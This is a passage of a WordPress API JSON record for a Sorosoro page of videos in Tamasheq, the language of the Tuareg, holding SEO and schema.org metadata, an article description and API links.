\/www.sorosoro.org\/es\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"V\u00eddeos en lengua tamasheq &#8211; SAHEL, \u00c1FRICA DEL NORTE\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/es\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\",\"name\":\"Michel.Lemee\",\"url\":\"https:\/\/www.sorosoro.org\/es\/author\/michel-lemee\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"V\u00eddeos en lengua tamasheq - SAHEL, \u00c1FRICA DEL NORTE - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/es\/2011\/07\/videos-en-lengua-tamasheq-sahel-africa-del-norte\/","og_locale":"es_ES","og_type":"article","og_title":"V\u00eddeos en lengua tamasheq - SAHEL, \u00c1FRICA DEL NORTE - Sorosoro","og_description":"Presentaci\u00f3n de la lengua tamasheq El tamasheq (o tamajeq o tamaheq, derivados de la palabra tamazight), es la lengua de los Tuaregs, un pueblo n\u00f3mada que encontramos en regiones des\u00e9rticas de \u00c1frica del Norte desde hace miles de a\u00f1os, en una zona vasta que va de Mal\u00ed a Libia y de Burkina Faso a Argelia [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/es\/2011\/07\/videos-en-lengua-tamasheq-sahel-africa-del-norte\/","og_site_name":"Sorosoro","article_published_time":"2011-07-10T18:13:13+00:00","article_modified_time":"2025-10-21T20:30:47+00:00","og_image":[{"url":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/tamasheq2.jpg","type":"","width":"","height":""}],"author":"Michel.Lemee","twitter_card":"summary_large_image","twitter_misc":{"Escrito por":"Michel.Lemee","Tiempo de lectura":"6 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/es\/2011\/07\/videos-en-lengua-tamasheq-sahel-africa-del-norte\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/07\/videos-en-lengua-tamasheq-sahel-africa-del-norte\/"},"author":{"name":"Michel.Lemee","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"headline":"V\u00eddeos en lengua tamasheq &#8211; SAHEL, \u00c1FRICA DEL NORTE","datePublished":"2011-07-10T18:13:13+00:00","dateModified":"2025-10-21T20:30:47+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/07\/videos-en-lengua-tamasheq-sahel-africa-del-norte\/"},"wordCount":1115,"image":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/07\/videos-en-lengua-tamasheq-sahel-africa-del-norte\/#primaryimage"},"thumbnailUrl":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/tamasheq2.jpg","articleSection":["V\u00eddeos de idiomas"],"inLanguage":"es"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/es\/2011\/07\/videos-en-lengua-tamasheq-sahel-africa-del-norte\/","url":"https:\/\/www.sorosoro.org\/es\/2011\/07\/videos-en-lengua-tamasheq-sahel-africa-del-norte\/","name":"V\u00eddeos en lengua tamasheq - SAHEL, \u00c1FRICA DEL NORTE - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/07\/videos-en-lengua-tamasheq-sahel-africa-del-norte\/#primaryimage"},"image":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/07\/videos-en-lengua-tamasheq-sahel-africa-del-norte\/#primaryimage"},"thumbnailUrl":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/tamasheq2.jpg","datePublished":"2011-07-10T18:13:13+00:00","dateModified":"2025-10-21T20:30:47+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/07\/videos-en-lengua-tamasheq-sahel-africa-del-norte\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/es\/2011\/07\/videos-en-lengua-tamasheq-sahel-africa-del-norte\/"]}]},{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/www.sorosoro.org\/es\/2011\/07\/videos-en-lengua-tamasheq-sahel-africa-del-norte\/#primaryimage","url":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/tamasheq2.jpg","contentUrl":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/tamasheq2.jpg"},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/es\/2011\/07\/videos-en-lengua-tamasheq-sahel-africa-del-norte\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/es\/"},{"@type":"ListItem","position":2,"name":"V\u00eddeos en lengua tamasheq &#8211; SAHEL, \u00c1FRICA DEL NORTE"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/es\/#website","url":"https:\/\/www.sorosoro.org\/es\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18","name":"Michel.Lemee","url":"https:\/\/www.sorosoro.org\/es\/author\/michel-lemee\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/52662","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/users\/18"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/comments?post=52662"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/52662\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/media?parent=52662"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/categories?post=52662"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/tags?post=52662"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}